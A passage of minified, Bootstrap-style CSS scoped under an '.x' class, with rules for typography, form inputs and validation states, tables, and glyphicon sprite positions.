ol.x_inline>li{display:inline-block;padding-right:5px;padding-left:5px}.x dl{margin-bottom:20px}.x dt,.x dd{line-height:20px}.x dt{font-weight:bold}.x dd{margin-left:10px}.x .x_dl-horizontal{*zoom:1;}.x .x_dl-horizontal:before,.x .x_dl-horizontal:after{display:table;line-height:0;content:""}.x .x_dl-horizontal:after{clear:both}.x .x_dl-horizontal dt{float:left;width:160px;overflow:hidden;clear:left;text-align:right;text-overflow:ellipsis;white-space:nowrap}.x .x_dl-horizontal dd{margin-left:180px}.x hr{margin:20px 0;border:0;border-top:1px solid #eee;border-bottom:1px solid #fff}.x abbr[title],.x abbr[data-original-title]{cursor:help;border-bottom:1px dotted #999}.x abbr.x_initialism{font-size:90%;text-transform:uppercase}.x blockquote{padding:0 0 0 15px;margin:0 0 20px;border-left:5px solid #eee}.x blockquote p{margin-bottom:0;font-size:16px;font-weight:300;line-height:25px}.x blockquote small{display:block;line-height:20px;color:#999}.x blockquote small:before{content:'\2014 \00A0'}.x blockquote.x_pull-right{float:right;padding-right:15px;padding-left:0;border-right:5px solid #eee;border-left:0}.x blockquote.x_pull-right p,.x blockquote.x_pull-right small{text-align:right}.x blockquote.x_pull-right small:before{content:''}.x blockquote.x_pull-right small:after{content:'\00A0 \2014'}.x q:before,.x q:after,.x blockquote:before,.x blockquote:after{content:""}.x address{display:block;margin-bottom:20px;font-style:normal;line-height:20px}.x code,.x pre{padding:0 3px 2px;font-family:Monaco,Menlo,Consolas,"Courier New",monospace;font-size:12px;color:#333;-webkit-border-radius:3px;-moz-border-radius:3px;border-radius:3px}.x code{padding:2px 4px;color:#d14;white-space:nowrap;background-color:#f7f7f9;border:1px solid #e1e1e8}.x pre{display:block;padding:9.5px;margin:0 0 10px;font-size:13px;line-height:20px;word-break:break-all;word-wrap:break-word;white-space:pre;white-space:pre-wrap;background-color:#f5f5f5;border:1px solid #ccc;border:1px solid rgba(0,0,0,.15);-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x pre.x_prettyprint{margin-bottom:20px}.x pre code{padding:0;color:inherit;white-space:pre;white-space:pre-wrap;background-color:transparent;border:0}.x .x_pre-scrollable{max-height:340px;overflow-y:scroll}.x form{margin:0 0 20px}.x fieldset{padding:0;margin:0;border:0}.x legend{display:block;width:100%;padding:0;margin-bottom:20px;font-size:21px;line-height:40px;color:#333;border:0;border-bottom:1px solid #e5e5e5}.x legend small{font-size:15px;color:#999}.x label,.x input,.x button,.x select,.x textarea{font-size:14px;font-weight:normal}.x input,.x button,.x select,.x textarea{font-family:"Helvetica Neue",Helvetica,Arial,sans-serif}.x label{display:block;margin-bottom:5px}.x select,.x textarea,.x input[type="text"],.x input[type="password"],.x input[type="datetime"],.x input[type="datetime-local"],.x input[type="date"],.x input[type="month"],.x input[type="time"],.x input[type="week"],.x input[type="number"],.x input[type="email"],.x input[type="url"],.x input[type="search"],.x input[type="tel"],.x input[type="color"],.x .x_uneditable-input{display:inline-block;height:20px;padding:4px 6px;margin-bottom:10px;font-size:14px;line-height:20px;color:#555;vertical-align:middle;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x input,.x textarea,.x .x_uneditable-input{width:206px}.x textarea{height:auto}.x textarea,.x input[type="text"],.x input[type="password"],.x input[type="datetime"],.x input[type="datetime-local"],.x input[type="date"],.x input[type="month"],.x input[type="time"],.x input[type="week"],.x input[type="number"],.x input[type="email"],.x input[type="url"],.x input[type="search"],.x input[type="tel"],.x input[type="color"],.x .x_uneditable-input{background-color:#fff;border:1px solid #ccc;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-webkit-transition:border linear .2s,box-shadow linear .2s;-moz-transition:border linear .2s,box-shadow linear .2s;-o-transition:border linear .2s,box-shadow linear .2s;transition:border linear .2s,box-shadow linear .2s}.x textarea:focus,.x input[type="text"]:focus,.x input[type="password"]:focus,.x input[type="datetime"]:focus,.x input[type="datetime-local"]:focus,.x input[type="date"]:focus,.x input[type="month"]:focus,.x input[type="time"]:focus,.x input[type="week"]:focus,.x input[type="number"]:focus,.x input[type="email"]:focus,.x input[type="url"]:focus,.x input[type="search"]:focus,.x input[type="tel"]:focus,.x input[type="color"]:focus,.x .x_uneditable-input:focus{border-color:rgba(82,168,236,.8);outline:0;outline:thin dotted \9;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6);box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 8px rgba(82,168,236,.6)}.x input[type="radio"],.x input[type="checkbox"]{margin:4px 0 0;margin-top:1px \9;*margin-top:0;line-height:normal}.x input[type="file"],.x input[type="image"],.x input[type="submit"],.x input[type="reset"],.x input[type="button"],.x input[type="radio"],.x input[type="checkbox"]{width:auto}.x select,.x input[type="file"]{height:30px;*margin-top:4px;line-height:30px}.x select{width:220px;background-color:#fff;border:1px solid #ccc}.x select[multiple],.x select[size]{height:auto}.x select:focus,.x input[type="file"]:focus,.x input[type="radio"]:focus,.x input[type="checkbox"]:focus{outline:thin dotted #333;outline:5px auto -webkit-focus-ring-color;outline-offset:-2px}.x .x_uneditable-input,.x .x_uneditable-textarea{color:#999;cursor:not-allowed;background-color:#fcfcfc;border-color:#ccc;-webkit-box-shadow:inset 0 1px 2px rgba(0,0,0,.025);-moz-box-shadow:inset 0 1px 2px rgba(0,0,0,.025);box-shadow:inset 0 1px 2px rgba(0,0,0,.025)}.x .x_uneditable-input{overflow:hidden;white-space:nowrap}.x .x_uneditable-textarea{width:auto;height:auto}.x input:-moz-placeholder,.x textarea:-moz-placeholder{color:#999}.x input:-ms-input-placeholder,.x textarea:-ms-input-placeholder{color:#999}.x input::-webkit-input-placeholder,.x textarea::-webkit-input-placeholder{color:#999}.x .x_radio,.x .x_checkbox{min-height:20px;padding-left:20px}.x .x_radio input[type="radio"],.x .x_checkbox input[type="checkbox"]{float:left;margin-left:-20px}.x .x_controls>.x_radio:first-child,.x .x_controls>.x_checkbox:first-child{padding-top:5px}.x .x_radio.x_inline,.x .x_checkbox.x_inline{display:inline-block;padding-top:5px;margin-bottom:0;vertical-align:middle}.x .x_radio.x_inline+.x_radio.x_inline,.x .x_checkbox.x_inline+.x_checkbox.x_inline{margin-left:10px}.x .x_input-mini{width:60px}.x .x_input-small{width:90px}.x .x_input-medium{width:150px}.x .x_input-large{width:210px}.x .x_input-xlarge{width:270px}.x .x_input-xxlarge{width:530px}.x input[class*="x_span"],.x select[class*="x_span"],.x textarea[class*="x_span"],.x .x_uneditable-input[class*="x_span"],.x .x_row-fluid input[class*="x_span"],.x .x_row-fluid select[class*="x_span"],.x .x_row-fluid textarea[class*="x_span"],.x .x_row-fluid .x_uneditable-input[class*="x_span"]{float:none;margin-left:0}.x .x_input-append input[class*="x_span"],.x .x_input-append .x_uneditable-input[class*="x_span"],.x .x_input-prepend input[class*="x_span"],.x .x_input-prepend .x_uneditable-input[class*="x_span"],.x .x_row-fluid input[class*="x_span"],.x .x_row-fluid select[class*="x_span"],.x .x_row-fluid textarea[class*="x_span"],.x .x_row-fluid .x_uneditable-input[class*="x_span"],.x .x_row-fluid .x_input-prepend [class*="x_span"],.x .x_row-fluid .x_input-append [class*="x_span"]{display:inline-block}.x input,.x textarea,.x .x_uneditable-input{margin-left:0}.x .x_controls-row [class*="x_span"]+[class*="x_span"]{margin-left:20px}.x input.x_span12,.x textarea.x_span12,.x .x_uneditable-input.x_span12{width:926px}.x input.x_span11,.x textarea.x_span11,.x .x_uneditable-input.x_span11{width:846px}.x input.x_span10,.x textarea.x_span10,.x .x_uneditable-input.x_span10{width:766px}.x input.x_span9,.x textarea.x_span9,.x .x_uneditable-input.x_span9{width:686px}.x input.x_span8,.x textarea.x_span8,.x .x_uneditable-input.x_span8{width:606px}.x input.x_span7,.x textarea.x_span7,.x .x_uneditable-input.x_span7{width:526px}.x input.x_span6,.x textarea.x_span6,.x .x_uneditable-input.x_span6{width:446px}.x input.x_span5,.x textarea.x_span5,.x .x_uneditable-input.x_span5{width:366px}.x input.x_span4,.x textarea.x_span4,.x .x_uneditable-input.x_span4{width:286px}.x input.x_span3,.x textarea.x_span3,.x .x_uneditable-input.x_span3{width:206px}.x input.x_span2,.x textarea.x_span2,.x .x_uneditable-input.x_span2{width:126px}.x input.x_span1,.x textarea.x_span1,.x .x_uneditable-input.x_span1{width:46px}.x .x_controls-row{*zoom:1;}.x .x_controls-row:before,.x .x_controls-row:after{display:table;line-height:0;content:""}.x .x_controls-row:after{clear:both}.x .x_controls-row [class*="x_span"],.x .x_row-fluid .x_controls-row [class*="x_span"]{float:left}.x .x_controls-row .x_checkbox[class*="x_span"],.x .x_controls-row .x_radio[class*="x_span"]{padding-top:5px}.x input[disabled],.x select[disabled],.x textarea[disabled],.x input[readonly],.x select[readonly],.x textarea[readonly]{cursor:not-allowed;background-color:#eee}.x input[type="radio"][disabled],.x input[type="checkbox"][disabled],.x input[type="radio"][readonly],.x input[type="checkbox"][readonly]{background-color:transparent}.x .x_control-group.x_warning .x_control-label,.x .x_control-group.x_warning .x_help-block,.x .x_control-group.x_warning .x_help-inline{color:#c09853}.x .x_control-group.x_warning .x_checkbox,.x .x_control-group.x_warning .x_radio,.x .x_control-group.x_warning input,.x .x_control-group.x_warning select,.x .x_control-group.x_warning textarea{color:#c09853}.x .x_control-group.x_warning input,.x .x_control-group.x_warning select,.x .x_control-group.x_warning textarea{border-color:#c09853;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.x .x_control-group.x_warning input:focus,.x .x_control-group.x_warning select:focus,.x .x_control-group.x_warning textarea:focus{border-color:#a47e3c;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #dbc59e;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #dbc59e;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #dbc59e}.x .x_control-group.x_warning .x_input-prepend .x_add-on,.x .x_control-group.x_warning .x_input-append .x_add-on{color:#c09853;background-color:#fcf8e3;border-color:#c09853}.x .x_control-group.x_error .x_control-label,.x .x_control-group.x_error .x_help-block,.x .x_control-group.x_error .x_help-inline{color:#b94a48}.x .x_control-group.x_error .x_checkbox,.x .x_control-group.x_error .x_radio,.x .x_control-group.x_error input,.x .x_control-group.x_error select,.x .x_control-group.x_error textarea{color:#b94a48}.x .x_control-group.x_error input,.x .x_control-group.x_error select,.x .x_control-group.x_error textarea{border-color:#b94a48;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.x .x_control-group.x_error input:focus,.x .x_control-group.x_error select:focus,.x .x_control-group.x_error textarea:focus{border-color:#953b39;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #d59392;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #d59392;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #d59392}.x .x_control-group.x_error .x_input-prepend .x_add-on,.x .x_control-group.x_error .x_input-append .x_add-on{color:#b94a48;background-color:#f2dede;border-color:#b94a48}.x .x_control-group.x_success .x_control-label,.x .x_control-group.x_success .x_help-block,.x .x_control-group.x_success .x_help-inline{color:#468847}.x .x_control-group.x_success .x_checkbox,.x .x_control-group.x_success .x_radio,.x .x_control-group.x_success input,.x .x_control-group.x_success select,.x .x_control-group.x_success textarea{color:#468847}.x .x_control-group.x_success input,.x .x_control-group.x_success select,.x .x_control-group.x_success textarea{border-color:#468847;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.x .x_control-group.x_success input:focus,.x .x_control-group.x_success select:focus,.x .x_control-group.x_success textarea:focus{border-color:#356635;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #7aba7b;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #7aba7b;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #7aba7b}.x .x_control-group.x_success .x_input-prepend .x_add-on,.x .x_control-group.x_success .x_input-append .x_add-on{color:#468847;background-color:#dff0d8;border-color:#468847}.x .x_control-group.x_info .x_control-label,.x .x_control-group.x_info .x_help-block,.x .x_control-group.x_info .x_help-inline{color:#3a87ad}.x .x_control-group.x_info .x_checkbox,.x .x_control-group.x_info .x_radio,.x .x_control-group.x_info input,.x .x_control-group.x_info select,.x .x_control-group.x_info textarea{color:#3a87ad}.x .x_control-group.x_info input,.x .x_control-group.x_info select,.x .x_control-group.x_info textarea{border-color:#3a87ad;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075);box-shadow:inset 0 1px 1px rgba(0,0,0,.075)}.x .x_control-group.x_info input:focus,.x .x_control-group.x_info select:focus,.x .x_control-group.x_info textarea:focus{border-color:#2d6987;-webkit-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #7ab5d3;-moz-box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #7ab5d3;box-shadow:inset 0 1px 1px rgba(0,0,0,.075),0 0 6px #7ab5d3}.x .x_control-group.x_info .x_input-prepend .x_add-on,.x .x_control-group.x_info .x_input-append .x_add-on{color:#3a87ad;background-color:#d9edf7;border-color:#3a87ad}.x input:focus:invalid,.x textarea:focus:invalid,.x select:focus:invalid{color:#b94a48;border-color:#ee5f5b}.x input:focus:invalid:focus,.x textarea:focus:invalid:focus,.x select:focus:invalid:focus{border-color:#e9322d;-webkit-box-shadow:0 0 6px #f8b9b7;-moz-box-shadow:0 0 6px #f8b9b7;box-shadow:0 0 6px #f8b9b7}.x .x_form-actions{padding:19px 20px 20px;margin-top:20px;margin-bottom:20px;background-color:#f5f5f5;border-top:1px solid #e5e5e5;*zoom:1;}.x .x_form-actions:before,.x .x_form-actions:after{display:table;line-height:0;content:""}.x .x_form-actions:after{clear:both}.x .x_help-block,.x .x_help-inline{color:#595959}.x .x_help-block{display:block;margin-bottom:10px}.x .x_help-inline{display:inline-block;*display:inline;padding-left:5px;vertical-align:middle;*zoom:1;}.x .x_input-append,.x .x_input-prepend{margin-bottom:5px;font-size:0;white-space:nowrap}.x .x_input-append input,.x .x_input-prepend input,.x .x_input-append select,.x .x_input-prepend select,.x .x_input-append .x_uneditable-input,.x .x_input-prepend .x_uneditable-input,.x .x_input-append .x_dropdown-menu,.x .x_input-prepend .x_dropdown-menu{font-size:14px}.x .x_input-append input,.x .x_input-prepend input,.x .x_input-append select,.x .x_input-prepend select,.x .x_input-append .x_uneditable-input,.x .x_input-prepend .x_uneditable-input{position:relative;margin-bottom:0;*margin-left:0;vertical-align:top;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.x .x_input-append input:focus,.x .x_input-prepend input:focus,.x .x_input-append select:focus,.x .x_input-prepend select:focus,.x .x_input-append .x_uneditable-input:focus,.x .x_input-prepend .x_uneditable-input:focus{z-index:2}.x .x_input-append .x_add-on,.x .x_input-prepend .x_add-on{display:inline-block;width:auto;height:20px;min-width:16px;padding:4px 5px;font-size:14px;font-weight:normal;line-height:20px;text-align:center;text-shadow:0 1px 0 #fff;background-color:#eee;border:1px solid #ccc}.x .x_input-append .x_add-on,.x .x_input-prepend .x_add-on,.x .x_input-append .x_btn,.x .x_input-prepend .x_btn,.x .x_input-append .x_btn-group>.x_dropdown-toggle,.x .x_input-prepend .x_btn-group>.x_dropdown-toggle{vertical-align:top;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_input-append .x_active,.x .x_input-prepend .x_active{background-color:#a9dba9;border-color:#46a546}.x .x_input-prepend .x_add-on,.x .x_input-prepend .x_btn{margin-right:-1px}.x .x_input-prepend .x_add-on:first-child,.x .x_input-prepend .x_btn:first-child{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.x .x_input-append input,.x .x_input-append select,.x .x_input-append .x_uneditable-input{-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.x .x_input-append input+.x_btn-group .x_btn:last-child,.x .x_input-append select+.x_btn-group .x_btn:last-child,.x .x_input-append .x_uneditable-input+.x_btn-group .x_btn:last-child{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.x .x_input-append .x_add-on,.x .x_input-append .x_btn,.x .x_input-append .x_btn-group{margin-left:-1px}.x .x_input-append .x_add-on:last-child,.x .x_input-append .x_btn:last-child,.x .x_input-append .x_btn-group:last-child>.x_dropdown-toggle{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.x .x_input-prepend.x_input-append input,.x .x_input-prepend.x_input-append select,.x .x_input-prepend.x_input-append .x_uneditable-input{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_input-prepend.x_input-append input+.x_btn-group .x_btn,.x .x_input-prepend.x_input-append select+.x_btn-group .x_btn,.x .x_input-prepend.x_input-append .x_uneditable-input+.x_btn-group .x_btn{-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.x .x_input-prepend.x_input-append .x_add-on:first-child,.x .x_input-prepend.x_input-append .x_btn:first-child{margin-right:-1px;-webkit-border-radius:4px 0 0 4px;-moz-border-radius:4px 0 0 4px;border-radius:4px 0 0 4px}.x .x_input-prepend.x_input-append .x_add-on:last-child,.x .x_input-prepend.x_input-append .x_btn:last-child{margin-left:-1px;-webkit-border-radius:0 4px 4px 0;-moz-border-radius:0 4px 4px 0;border-radius:0 4px 4px 0}.x .x_input-prepend.x_input-append .x_btn-group:first-child{margin-left:0}.x input.x_search-query{padding-right:14px;padding-right:4px \9;padding-left:14px;padding-left:4px \9;margin-bottom:0;-webkit-border-radius:15px;-moz-border-radius:15px;border-radius:15px}.x .x_form-search .x_input-append .x_search-query,.x .x_form-search .x_input-prepend .x_search-query{-webkit-border-radius:0;-moz-border-radius:0;border-radius:0}.x .x_form-search .x_input-append .x_search-query{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px}.x .x_form-search .x_input-append .x_btn{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0}.x .x_form-search .x_input-prepend .x_search-query{-webkit-border-radius:0 14px 14px 0;-moz-border-radius:0 14px 14px 0;border-radius:0 14px 14px 0}.x .x_form-search .x_input-prepend .x_btn{-webkit-border-radius:14px 0 0 14px;-moz-border-radius:14px 0 0 14px;border-radius:14px 0 0 14px}.x .x_form-search input,.x .x_form-inline input,.x .x_form-horizontal input,.x .x_form-search textarea,.x .x_form-inline textarea,.x .x_form-horizontal textarea,.x .x_form-search select,.x .x_form-inline select,.x .x_form-horizontal select,.x .x_form-search .x_help-inline,.x .x_form-inline .x_help-inline,.x .x_form-horizontal .x_help-inline,.x .x_form-search .x_uneditable-input,.x .x_form-inline .x_uneditable-input,.x .x_form-horizontal .x_uneditable-input,.x .x_form-search .x_input-prepend,.x .x_form-inline .x_input-prepend,.x .x_form-horizontal .x_input-prepend,.x .x_form-search .x_input-append,.x .x_form-inline .x_input-append,.x .x_form-horizontal .x_input-append{display:inline-block;*display:inline;margin-bottom:0;vertical-align:middle;*zoom:1;}.x .x_form-search .x_hide,.x .x_form-inline .x_hide,.x .x_form-horizontal .x_hide{display:none}.x .x_form-search label,.x .x_form-inline label,.x .x_form-search .x_btn-group,.x .x_form-inline .x_btn-group{display:inline-block}.x .x_form-search .x_input-append,.x .x_form-inline .x_input-append,.x .x_form-search .x_input-prepend,.x .x_form-inline .x_input-prepend{margin-bottom:0}.x .x_form-search .x_radio,.x .x_form-search .x_checkbox,.x .x_form-inline .x_radio,.x .x_form-inline .x_checkbox{padding-left:0;margin-bottom:0;vertical-align:middle}.x .x_form-search .x_radio input[type="radio"],.x .x_form-search .x_checkbox input[type="checkbox"],.x .x_form-inline .x_radio input[type="radio"],.x .x_form-inline .x_checkbox input[type="checkbox"]{float:left;margin-right:3px;margin-left:0}.x .x_control-group{margin-bottom:10px}.x legend+.x_control-group{margin-top:20px;-webkit-margin-top-collapse:separate}.x .x_form-horizontal .x_control-group{margin-bottom:20px;*zoom:1;}.x .x_form-horizontal .x_control-group:before,.x .x_form-horizontal .x_control-group:after{display:table;line-height:0;content:""}.x .x_form-horizontal .x_control-group:after{clear:both}.x .x_form-horizontal .x_control-label{float:left;width:160px;padding-top:5px;text-align:right}.x .x_form-horizontal .x_controls{*display:inline-block;*padding-left:20px;margin-left:180px;*margin-left:0;}.x .x_form-horizontal .x_controls:first-child{*padding-left:180px;}.x .x_form-horizontal .x_help-block{margin-bottom:0}.x .x_form-horizontal input+.x_help-block,.x .x_form-horizontal select+.x_help-block,.x .x_form-horizontal textarea+.x_help-block,.x .x_form-horizontal .x_uneditable-input+.x_help-block,.x .x_form-horizontal .x_input-prepend+.x_help-block,.x .x_form-horizontal .x_input-append+.x_help-block{margin-top:10px}.x .x_form-horizontal .x_form-actions{padding-left:180px}.x table{max-width:100%;background-color:transparent;border-collapse:collapse;border-spacing:0}.x .x_table{width:100%;margin-bottom:20px}.x .x_table th,.x .x_table td{padding:8px;line-height:20px;text-align:left;vertical-align:top;border-top:1px solid #ddd}.x .x_table th{font-weight:bold}.x .x_table thead th{vertical-align:bottom}.x .x_table caption+thead tr:first-child th,.x .x_table caption+thead tr:first-child td,.x .x_table colgroup+thead tr:first-child th,.x .x_table colgroup+thead tr:first-child td,.x .x_table thead:first-child tr:first-child th,.x .x_table thead:first-child tr:first-child td{border-top:0}.x .x_table tbody+tbody{border-top:2px solid #ddd}.x .x_table .x_table{background-color:#fff}.x .x_table-condensed th,.x .x_table-condensed td{padding:4px 5px}.x .x_table-bordered{border:1px solid #ddd;border-collapse:separate;*border-collapse:collapse;border-left:0;-webkit-border-radius:4px;-moz-border-radius:4px;border-radius:4px}.x .x_table-bordered th,.x .x_table-bordered td{border-left:1px solid #ddd}.x .x_table-bordered caption+thead tr:first-child th,.x .x_table-bordered caption+tbody tr:first-child th,.x .x_table-bordered caption+tbody tr:first-child td,.x .x_table-bordered colgroup+thead tr:first-child th,.x .x_table-bordered colgroup+tbody tr:first-child th,.x .x_table-bordered colgroup+tbody tr:first-child td,.x .x_table-bordered thead:first-child tr:first-child th,.x .x_table-bordered tbody:first-child tr:first-child th,.x .x_table-bordered tbody:first-child tr:first-child td{border-top:0}.x .x_table-bordered thead:first-child tr:first-child>th:first-child,.x .x_table-bordered tbody:first-child tr:first-child>td:first-child{-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topleft:4px}.x .x_table-bordered thead:first-child tr:first-child>th:last-child,.x .x_table-bordered tbody:first-child tr:first-child>td:last-child{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-topright:4px}.x .x_table-bordered thead:last-child tr:last-child>th:first-child,.x .x_table-bordered tbody:last-child tr:last-child>td:first-child,.x .x_table-bordered tfoot:last-child tr:last-child>td:first-child{-webkit-border-bottom-left-radius:4px;border-bottom-left-radius:4px;-moz-border-radius-bottomleft:4px}.x .x_table-bordered thead:last-child tr:last-child>th:last-child,.x .x_table-bordered tbody:last-child tr:last-child>td:last-child,.x .x_table-bordered tfoot:last-child tr:last-child>td:last-child{-webkit-border-bottom-right-radius:4px;border-bottom-right-radius:4px;-moz-border-radius-bottomright:4px}.x .x_table-bordered tfoot+tbody:last-child tr:last-child td:first-child{-webkit-border-bottom-left-radius:0;border-bottom-left-radius:0;-moz-border-radius-bottomleft:0}.x .x_table-bordered tfoot+tbody:last-child tr:last-child td:last-child{-webkit-border-bottom-right-radius:0;border-bottom-right-radius:0;-moz-border-radius-bottomright:0}.x .x_table-bordered caption+thead tr:first-child th:first-child,.x .x_table-bordered caption+tbody tr:first-child td:first-child,.x .x_table-bordered colgroup+thead tr:first-child th:first-child,.x .x_table-bordered colgroup+tbody tr:first-child td:first-child{-webkit-border-top-left-radius:4px;border-top-left-radius:4px;-moz-border-radius-topleft:4px}.x .x_table-bordered caption+thead tr:first-child th:last-child,.x .x_table-bordered caption+tbody tr:first-child td:last-child,.x .x_table-bordered colgroup+thead tr:first-child th:last-child,.x .x_table-bordered colgroup+tbody tr:first-child td:last-child{-webkit-border-top-right-radius:4px;border-top-right-radius:4px;-moz-border-radius-topright:4px}.x .x_table-striped tbody>tr:nth-child(odd)>td,.x .x_table-striped tbody>tr:nth-child(odd)>th{background-color:#f9f9f9}.x .x_table-hover tbody tr:hover td,.x .x_table-hover tbody tr:hover th{background-color:#f5f5f5}.x table td[class*="x_span"],.x table th[class*="x_span"],.x .x_row-fluid table td[class*="x_span"],.x .x_row-fluid table th[class*="x_span"]{display:table-cell;float:none;margin-left:0}.x .x_table td.x_span1,.x .x_table th.x_span1{float:none;width:44px;margin-left:0}.x .x_table td.x_span2,.x .x_table th.x_span2{float:none;width:124px;margin-left:0}.x .x_table td.x_span3,.x .x_table th.x_span3{float:none;width:204px;margin-left:0}.x .x_table td.x_span4,.x .x_table th.x_span4{float:none;width:284px;margin-left:0}.x .x_table td.x_span5,.x .x_table th.x_span5{float:none;width:364px;margin-left:0}.x .x_table td.x_span6,.x .x_table th.x_span6{float:none;width:444px;margin-left:0}.x .x_table td.x_span7,.x .x_table th.x_span7{float:none;width:524px;margin-left:0}.x .x_table td.x_span8,.x .x_table th.x_span8{float:none;width:604px;margin-left:0}.x .x_table td.x_span9,.x .x_table th.x_span9{float:none;width:684px;margin-left:0}.x .x_table td.x_span10,.x .x_table th.x_span10{float:none;width:764px;margin-left:0}.x .x_table td.x_span11,.x .x_table th.x_span11{float:none;width:844px;margin-left:0}.x .x_table td.x_span12,.x .x_table th.x_span12{float:none;width:924px;margin-left:0}.x .x_table tbody tr.x_success td{background-color:#dff0d8}.x .x_table tbody tr.x_error td{background-color:#f2dede}.x .x_table tbody tr.x_warning td{background-color:#fcf8e3}.x .x_table tbody tr.x_info td{background-color:#d9edf7}.x .x_table-hover tbody tr.x_success:hover td{background-color:#d0e9c6}.x .x_table-hover tbody tr.x_error:hover td{background-color:#ebcccc}.x .x_table-hover tbody tr.x_warning:hover td{background-color:#faf2cc}.x .x_table-hover tbody tr.x_info:hover td{background-color:#c4e3f3}.x [class^="x_icon-"],.x [class*=" x_icon-"]{display:inline-block;width:14px;height:14px;margin-top:1px;*margin-right:.3em;line-height:14px;vertical-align:text-top;background-image:url("../img/glyphicons-halflings.png");background-position:14px 14px;background-repeat:no-repeat}.x .x_icon-white,.x .x_nav-pills>.x_active>a>[class^="x_icon-"],.x .x_nav-pills>.x_active>a>[class*=" x_icon-"],.x .x_nav-list>.x_active>a>[class^="x_icon-"],.x .x_nav-list>.x_active>a>[class*=" x_icon-"],.x .x_navbar-inverse .x_nav>.x_active>a>[class^="x_icon-"],.x .x_navbar-inverse .x_nav>.x_active>a>[class*=" x_icon-"],.x .x_dropdown-menu>li>a:hover>[class^="x_icon-"],.x .x_dropdown-menu>li>a:hover>[class*=" x_icon-"],.x .x_dropdown-menu>.x_active>a>[class^="x_icon-"],.x .x_dropdown-menu>.x_active>a>[class*=" x_icon-"],.x .x_dropdown-submenu:hover>a>[class^="x_icon-"],.x .x_dropdown-submenu:hover>a>[class*=" x_icon-"]{background-image:url("../img/glyphicons-halflings-white.png")}.x .x_icon-glass{background-position:0 0}.x .x_icon-music{background-position:-24px 0}.x .x_icon-search{background-position:-48px 0}.x .x_icon-envelope{background-position:-72px 0}.x .x_icon-heart{background-position:-96px 0}.x .x_icon-star{background-position:-120px 0}.x .x_icon-star-empty{background-position:-144px 0}.x .x_icon-user{background-position:-168px 0}.x .x_icon-film{background-position:-192px 0}.x .x_icon-th-large{background-position:-216px 0}.x .x_icon-th{background-position:-240px 0}.x .x_icon-th-list{background-position:-264px 0}.x .x_icon-ok{background-position:-288px 0}.x .x_icon-remove{background-position:-312px 0}.x .x_icon-zoom-in{background-position:-336px 0}.x .x_icon-zoom-out{background-position:-360px 0}.x .x_icon-off{background-position:-384px 0}.x .x_icon-signal{background-position:-408px 0}.x .x_icon-cog{background-position:-432px 0}.x .x_icon-trash{background-position:-456px 0}.x .x_icon-home{background-position:0 -24px}.x .x_icon-file{background-position:-24px -24px}.x .x_icon-time{background-position:-48px -24px}.x .x_icon-road{background-position:-72px -24px}.x .x_icon-download-alt{background-position:-96px -24px}.x .x_icon-download{background-position:-120px -24px}.x .x_icon-upload{background-position:-144px -24px}.x .x_icon-inbox{background-position:-168px -24px}.x .x_icon-play-circle{background-position:-192px -24px}.x .x_icon-repeat{background-position:-216px -24px}.x .x_icon-refresh{background-position:-240px -24px}.x .x_icon-list-alt{background-position:-264px -24px}.x .x_icon-lock{background-position:-287px -24px}.x .x_icon-flag{background-position:-312px -24px}.x .x_icon-headphones{background-position:-336px -24px}.x .x_icon-volume-off{background-position:-360px -24px}.x .x_icon-volume-down{background-position:-384px -24px}.x .x_icon-volume-up{background-position:-408px -24px}.x .x_icon-qrcode{background-position:-432px -24px}.x .x_icon-barcode{background-position:-456px -24px}.x .x_icon-tag{background-position:0 